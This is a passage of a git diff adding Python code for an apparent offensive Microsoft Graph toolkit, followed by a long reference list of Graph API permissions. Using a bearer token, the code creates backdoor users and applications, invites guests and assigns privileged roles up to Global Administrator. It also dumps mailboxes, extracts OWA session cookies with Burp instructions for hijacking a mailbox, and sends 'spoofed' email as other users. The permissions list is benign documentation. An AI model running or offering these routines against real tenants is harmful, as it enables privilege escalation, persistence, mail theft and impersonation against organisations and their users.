+ print_green("[+] User added to group")
+ else:
+ print_red(f"[-] Failed to add group member: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# create-application
+def create_application(args):
+ print_yellow("[*] Create-Application")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/applications"
+
+ try:
+ appname = input("\nEnter App Name: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {"displayName": appname}
+
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("\n[+] Application created\n")
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}")
+ else:
+ print_red(f"[-] Failed to create application: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# create-newuser
+def create_newuser(args):
+ print_yellow("[*] Create-NewUser")
+ print("=" * 80)
+
+ try:
+ display_name = input("\nEnter Display Name: ").strip()
+ mail_nickname = input("Enter Mail Nickname: ").strip()
+ user_principal_name = input("Enter User Principal Name: ").strip()
+ password = input("Enter Password: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ api_url = f"https://graph.microsoft.com/v1.0/users/"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {
+ "accountEnabled": True,
+ "displayName": display_name,
+ "mailNickname": mail_nickname,
+ "userPrincipalName": user_principal_name,
+ "passwordProfile": {
+ "forceChangePasswordNextSignIn": True,
+ "password": password
+ }
+ }
+
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("\n[+] New user created\n")
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}")
+
+ else:
+ print_red(f"[-] Failed to create new user: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# invite-guestuser
+def invite_guestuser(args):
+ if not args.tenant:
+ print_red("[-] Error: --tenant required for Invite-GuestUser command")
+ return
+
+ print_yellow("[*] Invite-GuestUser")
+ print("=" * 80)
+
+ try:
+ email = input("\nEnter Email Address: ").strip()
+ displayname = input("Enter Display Name: ").strip()
+ redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=...
+ sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower()
+ custommessage = input("Custom Message Body: ").strip()
+ except KeyboardInterrupt:
+ sys.exit()
+
+ if redirecturl == "":
+ redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}"
+
+ api_url = f"https://graph.microsoft.com/v1.0/invitations"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {
+ "invitedUserEmailAddress": email,
+ "invitedUserDisplayName": displayname,
+ "inviteRedirectUrl": redirecturl,
+ "sendInvitationMessage": sendinvitationmessage,
+ "invitedUserMessageInfo": {
+ "customizedMessageBody": custommessage
+ }
+ }
+
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("\n[+] Guest user invited\n")
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}")
+
+ else:
+ print_red(f"[-] Failed to invite guest user: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# assign-privilegedrole
+def assign_privilegedrole(args):
+ roles = [
+ {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."},
+ {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."},
+ {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."},
+ {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."},
+ {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."},
+ {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."},
+ {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."},
+ {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."},
+ {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."},
+ {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."},
+ {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."},
+ {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."},
+ {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."},
+ {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."},
+ {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."},
+ {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."},
+ {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."},
+ {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."},
+ {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."},
+ {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."},
+ {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."},
+ {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."},
+ {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."},
+ {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."},
+ {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."},
+ {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."},
+ {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."},
+ {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."}
+ ]
+ print_yellow("[*] Assign-PrivilegedRole")
+ print("=" * 80)
+
+ table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles]
+ separator = ['-' * 20, '-' * 20, '-' * 20]
+ print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left")))
+
+ try:
+ roleid = input("\nEnter Role Template ID: ").strip()
+ objectid = input("Enter Object ID (user/group id): ").strip()
+ scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope
+ except KeyboardInterrupt:
+ sys.exit()
+
+ api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ json_body = {
+ "@odata.type": "#microsoft.graph.unifiedRoleAssignment",
+ "roleDefinitionId": roleid,
+ "principalId": objectid,
+ "directoryScopeId": scopeid
+ }
+ response = requests.post(api_url, headers=headers, data=json.dumps(json_body))
+ if response.ok:
+ print_green("\n[+] Role assigned\n")
+ response_body = response.json()
+
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}")
+
+ else:
+ print_red(f"\n[-] Failed to assign role: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# open-owamailboxinbrowser
+# - check this is still valid
+def open_owamailboxinbrowser(args):
+ print_yellow("[*] Open-OWAMailboxInBrowser")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}",
+ "User-Agent": user_agent
+ }
+
+ if args.only_return_cookies:
+ try:
+ response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False)
+ print_green("[+] Cookies:")
+ print(response.headers.get('Set-Cookie'))
+ except requests.RequestException as e:
+ print_red(f"[-] Error making request: {str(e)}")
+ else:
+ print("To open the OWA mailbox in a browser using a Substrate Access Token:")
+ print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'")
+ print("2. Paste the below request into Repeater & Send")
+ print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser")
+ print("4. Refresh the page to access the mailbox")
+ print()
+ print("GET /owa/ HTTP/1.1")
+ print(f"Host: substrate.office.com")
+ print(f"Authorization: Bearer {get_access_token(args.token)}")
+ print()
+ print("=" * 80)
+
+# dump-owamailbox
+def dump_owamailbox(args):
+ if not args.mail_folder:
+ print_red("[-] Mail folder --mail-folder is required for this command.")
+ return
+
+ if args.id:
+ base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages"
+ else:
+ base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages"
+
+ query_params = []
+
+ if args.select:
+ query_params.append(f"$select={args.select}")
+ if args.top:
+ query_params.append(f"$top={args.top}")
+ if query_params:
+ api_url = f"{base_url}?" + "&".join(query_params)
+ else:
+ api_url = base_url
+
+ max_results = 400
+ print_yellow("[*] Dump-OWAMailbox")
+ print("=" * 80)
+ user_agent = get_user_agent(args)
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}",
+ "User-Agent": user_agent
+ }
+
+ try:
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ response_body = response.json()
+ filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
+ if filtered_data:
+ if not filtered_data.get('value'):
+ print_red("[-] No data found")
+ return
+ email_count = 1
+ for d in filtered_data.get('value', []):
+ print_green(f"Email {email_count}")
+ for key, value in d.items():
+ print(f"{key} : {value}")
+ print("\n")
+ email_count += 1
+
+ url = response_body.get("@odata.nextLink")
+ if url:
+ response = requests.get(url, headers=headers)
+ response.raise_for_status()
+ response_body = response.json()
+
+ except requests.RequestException as e:
+ print_red(f"[-] Error making request: {str(e)}")
+ print("=" * 80)
+
+# spoof-owaemailmessage
+def spoof_owaemailmessage(args):
+ if not args.email:
+ print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command")
+ return
+
+ print_yellow("[*] Spoof-OWAEmailMessage")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/me/sendMail"
+
+ if args.id:
+ api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ try:
+ subject = input("\nEnter Subject: ").strip()
+ torecipients = input("Enter toRecipients (comma-separated): ").strip()
+ ccrecipients = input("Enter ccRecipients (comma-separated): ").strip()
+ savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'true'
+ except KeyboardInterrupt:
+ sys.exit()
+
+ to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()]
+ cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()]
+ content = read_file_content(args.email)
+ json_body = {
+ "message": {
+ "subject": subject,
+ "body": {
+ "contentType": "Text",
+ "content": content
+ },
+ "toRecipients": to_recipients,
+ "ccRecipients": cc_recipients
+ },
+ "saveToSentItems": savetf
+ }
+
+ # Add attachment option - check what other files are supported...
+ # "attachments": [
+ # {
+ # "@odata.type": "#microsoft.graph.fileAttachment",
+ # "name": "attachment.txt",
+ # "contentType": "text/plain",
+ # "contentBytes": "SGVsbG8gV29ybGQh"
+ # }
+ # ]
+
+ response = requests.post(api_url, headers=headers, json=json_body)
+ if response.ok:
+ print_green("\n[+] Email sent successfully")
+
+ else:
+ print_red(f"\n[-] Failed to send OWA email message: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/commands/graphpermissions.txt b/Graphpython/commands/graphpermissions.txt
new file mode 100644
index 0000000..5b49170
--- /dev/null
+++ b/Graphpython/commands/graphpermissions.txt
@@ -0,0 +1,20665 @@
+AccessReview.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d07a8cc0-3d51-4b77-b3b0-32704d1f69fa |
+ebfcd32b-babb-40f4-a14b-42706e83bd28 |
+
+
+| DisplayText |
+Read all access reviews |
+Read all access reviews that user can access |
+
+
+| Description |
+Allows the app to read access reviews, reviewers, decisions and settings in the organization, without a signed-in user. |
+Allows the app to read access reviews, reviewers, decisions and settings that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AccessReview.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ef5f7d5c-338f-44b0-86c3-351f46c8bb5f |
+e4aa47b9-9a69-4109-82ed-36ec70d85ff1 |
+
+
+| DisplayText |
+Manage all access reviews |
+Manage all access reviews that user can access |
+
+
+| Description |
+Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings in the organization, without a signed-in user. |
+Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AccessReview.ReadWrite.Membership
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+18228521-a591-40f1-b215-5fad4488c117 |
+5af8c3f5-baca-439a-97b0-ea58a435e269 |
+
+
+| DisplayText |
+Manage access reviews for group and app memberships |
+Manage access reviews for group and app memberships |
+
+
+| Description |
+Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings in the organization for group and app memberships, without a signed-in user. |
+Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings for group and app memberships that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Acronym.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8c0aed2c-0c61-433d-b63c-6370ddc73248 |
+9084c10f-a2d6-4713-8732-348def50fe02 |
+
+
+| DisplayText |
+Read all acronyms |
+Read all acronyms that the user can access |
+
+
+| Description |
+Allows an app to read all acronyms without a signed-in user. |
+Allows an app to read all acronyms that the signed-in user can access. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+AdministrativeUnit.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+134fd756-38ce-4afd-ba33-e9623dbe66c2 |
+3361d15d-be43-4de6-b441-3c746d05163d |
+
+
+| DisplayText |
+Read all administrative units |
+Read administrative units |
+
+
+| Description |
+Allows the app to read administrative units and administrative unit membership without a signed-in user. |
+Allows the app to read administrative units and administrative unit membership on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AdministrativeUnit.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5eb59dd3-1da2-4329-8733-9dabdc435916 |
+7b8a2d34-6b3f-4542-a343-54651608ad81 |
+
+
+| DisplayText |
+Read and write all administrative units |
+Read and write administrative units |
+
+
+| Description |
+Allows the app to create, read, update, and delete administrative units and manage administrative unit membership without a signed-in user. |
+Allows the app to create, read, update, and delete administrative units and manage administrative unit membership on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Agreement.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2f3e6f8c-093b-4c57-a58b-ba5ce494a169 |
+af2819c9-df71-4dd3-ade7-4d7c9dc653b7 |
+
+
+| DisplayText |
+Read all terms of use agreements |
+Read all terms of use agreements |
+
+
+| Description |
+Allows the app to read terms of use agreements, without a signed in user. |
+Allows the app to read terms of use agreements on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Agreement.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+c9090d00-6101-42f0-a729-c41074260d47 |
+ef4b5d93-3104-4664-9053-a5c49ab44218 |
+
+
+| DisplayText |
+Read and write all terms of use agreements |
+Read and write all terms of use agreements |
+
+
+| Description |
+Allows the app to read and write terms of use agreements, without a signed in user. |
+Allows the app to read and write terms of use agreements on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AgreementAcceptance.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+0b7643bb-5336-476f-80b5-18fbfbc91806 |
+
+
+| DisplayText |
+- |
+Read user terms of use acceptance statuses |
+
+
+| Description |
+- |
+Allows the app to read terms of use acceptance statuses on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+AgreementAcceptance.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d8e4ec18-f6c0-4620-8122-c8b1f2bf400e |
+a66a5341-e66e-4897-9d52-c2df58c2bfb9 |
+
+
+| DisplayText |
+Read all terms of use acceptance statuses |
+Read terms of use acceptance statuses that user can access |
+
+
+| Description |
+Allows the app to read terms of use acceptance statuses, without a signed in user. |
+Allows the app to read terms of use acceptance statuses on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Analytics.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+e03cf23f-8056-446a-8994-7d93dfc8b50e |
+
+
+| DisplayText |
+- |
+Read user activity statistics |
+
+
+| Description |
+- |
+Allows the app to read the signed-in user's activity statistics, such as how much time the user has spent on emails, in meetings, or in chat sessions. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+APIConnectors.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b86848a7-d5b1-41eb-a9b4-54a4e6306e97 |
+1b6ff35f-31df-4332-8571-d31ea5a4893f |
+
+
+| DisplayText |
+Read API connectors for authentication flows |
+Read API connectors for authentication flows |
+
+
+| Description |
+Allows the app to read the API connectors used in user authentication flows, without a signed-in user. |
+Allows the app to read the API connectors used in user authentication flows, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+APIConnectors.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1dfe531a-24a6-4f1b-80f4-7a0dc5a0a171 |
+c67b52c5-7c69-48b6-9d48-7b3af3ded914 |
+
+
+| DisplayText |
+Read and write API connectors for authentication flows |
+Read and write API connectors for authentication flows |
+
+
+| Description |
+Allows the app to read, create and manage the API connectors used in user authentication flows, without a signed-in user. |
+Allows the app to read, create and manage the API connectors used in user authentication flows, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AppCatalog.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e12dae10-5a57-4817-b79d-dfbec5348930 |
+88e58d74-d3df-44f3-ad47-e89edf4472e4 |
+
+
+| DisplayText |
+Read all app catalogs |
+Read all app catalogs |
+
+
+| Description |
+Allows the app to read apps in the app catalogs without a signed-in user. |
+Allows the app to read the apps in the app catalogs. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+AppCatalog.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dc149144-f292-421e-b185-5953f2e98d7f |
+1ca167d5-1655-44a1-8adf-1414072e1ef9 |
+
+
+| DisplayText |
+Read and write to all app catalogs |
+Read and write to all app catalogs |
+
+
+| Description |
+Allows the app to create, read, update, and delete apps in the app catalogs without a signed-in user. |
+Allows the app to create, read, update, and delete apps in the app catalogs. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AppCatalog.Submit
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+3db89e36-7fa6-4012-b281-85f3d9d9fd2e |
+
+
+| DisplayText |
+- |
+Submit application packages to the catalog and cancel pending submissions |
+
+
+| Description |
+- |
+Allows the app to submit application packages to the catalog and cancel submissions that are pending review on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+AppCertTrustConfiguration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+af281d3a-030d-4122-886e-146fb30a0413 |
+
+
+| DisplayText |
+- |
+Read the trusted certificate authority configuration for applications |
+
+
+| Description |
+- |
+Allows the app to read the trusted certificate authority configuration which can be used to restrict application certificates based on their issuing authority, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+AppCertTrustConfiguration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+4bae2ed4-473e-4841-a493-9829cfd51d48 |
+
+
+| DisplayText |
+- |
+Read and write the trusted certificate authority configuration for applications |
+
+
+| Description |
+- |
+Allows the app to create, read, update and delete the trusted certificate authority configuration which can be used to restrict application certificates based on their issuing authority, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Application.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9a5d68dd-52b0-4cc2-bd40-abcf44ac3a30 |
+c79f8feb-a9db-4090-85f9-90d820caa0eb |
+
+
+| DisplayText |
+Read all applications |
+Read applications |
+
+
+| Description |
+Allows the app to read all applications and service principals without a signed-in user. |
+Allows the app to read applications and service principals on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The Application.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+Application.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
+bdfbf15f-ee85-4955-8675-146e8e5296b5 |
+
+
+| DisplayText |
+Read and write all applications |
+Read and write all applications |
+
+
+| Description |
+Allows the app to create, read, update and delete applications and service principals without a signed-in user. Does not allow management of consent grants. |
+Allows the app to create, read, update and delete applications and service principals on behalf of the signed-in user. Does not allow management of consent grants. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The Application.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.
+
+Permissions that allow managing credentials, such as Application.ReadWrite.All, allow an application to act as other entities, and use the privileges they were granted. Use caution when granting any of these permissions.
+
+Application.ReadWrite.OwnedBy
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+18a4783c-866b-4cc7-a460-3d5e5662c884 |
+- |
+
+
+| DisplayText |
+Manage apps that this app creates or owns |
+- |
+
+
+| Description |
+Allows the app to create other applications, and fully manage those applications (read, update, update application secrets and delete), without a signed-in user. Â It cannot update any apps that it is not an owner of. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+The Application.ReadWrite.OwnedBy permission allows the same operations as Application.ReadWrite.All but only on applications and service principals that the calling app is an owner of.
+The Application.ReadWrite.OwnedBy permission allows an app to call GET /applications and GET /servicePrincipals endpoints to list all applications and service principals in the tenant. This scope of access has been allowed for the permission.
+
+Application-RemoteDesktopConfig.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+3be0012a-cc4e-426b-895b-f9c836bf6381 |
+ffa91d43-2ad8-45cc-b592-09caddeb24bb |
+
+
+| DisplayText |
+Read and write the remote desktop security configuration for all apps |
+Read and write the remote desktop security configuration for apps |
+
+
+| Description |
+Allows the app to read and write the remote desktop security configuration for all apps in your organization, without a signed-in user. |
+Allows the app to read and write other apps' remote desktop security configuration, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AppRoleAssignment.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+06b708a9-e830-4db3-a914-8e69da51d44f |
+84bccea3-f856-4a8a-967b-dbe0a3d53a64 |
+
+
+| DisplayText |
+Manage app permission grants and app role assignments |
+Manage app permission grants and app role assignments |
+
+
+| Description |
+Allows the app to manage permission grants for application permissions to any API (including Microsoft Graph) and application assignments for any app, without a signed-in user. |
+Allows the app to manage permission grants for application permissions to any API (including Microsoft Graph) and application assignments for any app, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Permissions that allow granting authorization, such as AppRoleAssignment.ReadWrite.All, allow an application to grant additional privileges to itself, other applications, or any user. Use caution when granting any of these permissions.
+
+AttackSimulation.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+93283d0a-6322-4fa8-966b-8c121624760d |
+104a7a4b-ca76-4677-b7e7-2f4bc482f381 |
+
+
+| DisplayText |
+Read attack simulation data of an organization |
+Read attack simulation data of an organization |
+
+
+| Description |
+Allows the app to read attack simulation and training data for an organization without a signed-in user. |
+Allows the app to read attack simulation and training data for an organization for the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AttackSimulation.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e125258e-8c8a-42a8-8f55-ab502afa52f3 |
+27608d7c-2c66-4cad-a657-951d575f5a60 |
+
+
+| DisplayText |
+Read, create, and update all attack simulation data of an organization |
+Read, create, and update attack simulation data of an organization |
+
+
+| Description |
+Allows the app to read, create, and update attack simulation and training data for an organization without a signed-in user. |
+Allows the app to read, create, and update attack simulation and training data for an organization for the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+AuditLog.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b0afded3-3588-46d8-8b3d-9842eff778da |
+e4c9e354-4dc5-45b8-9e7c-e1393b0b1a20 |
+
+
+| DisplayText |
+Read all audit log data |
+Read audit log data |
+
+
+| Description |
+Allows the app to read and query your audit log activities, without a signed-in user. |
+Allows the app to read and query your audit log activities, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+AuditLogsQuery.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5e1e9171-754d-478c-812c-f1755a9a4c2d |
+1d9e7ac3-0eca-442c-82f9-e92625af6e6d |
+
+
+| DisplayText |
+Read audit logs data from all services |
+Read audit logs data from all services |
+
+
+| Description |
+Allows the app to read and query audit logs from all services. |
+Allows the app to read and query audit logs from all services, on behalf of a signed-in user |
+
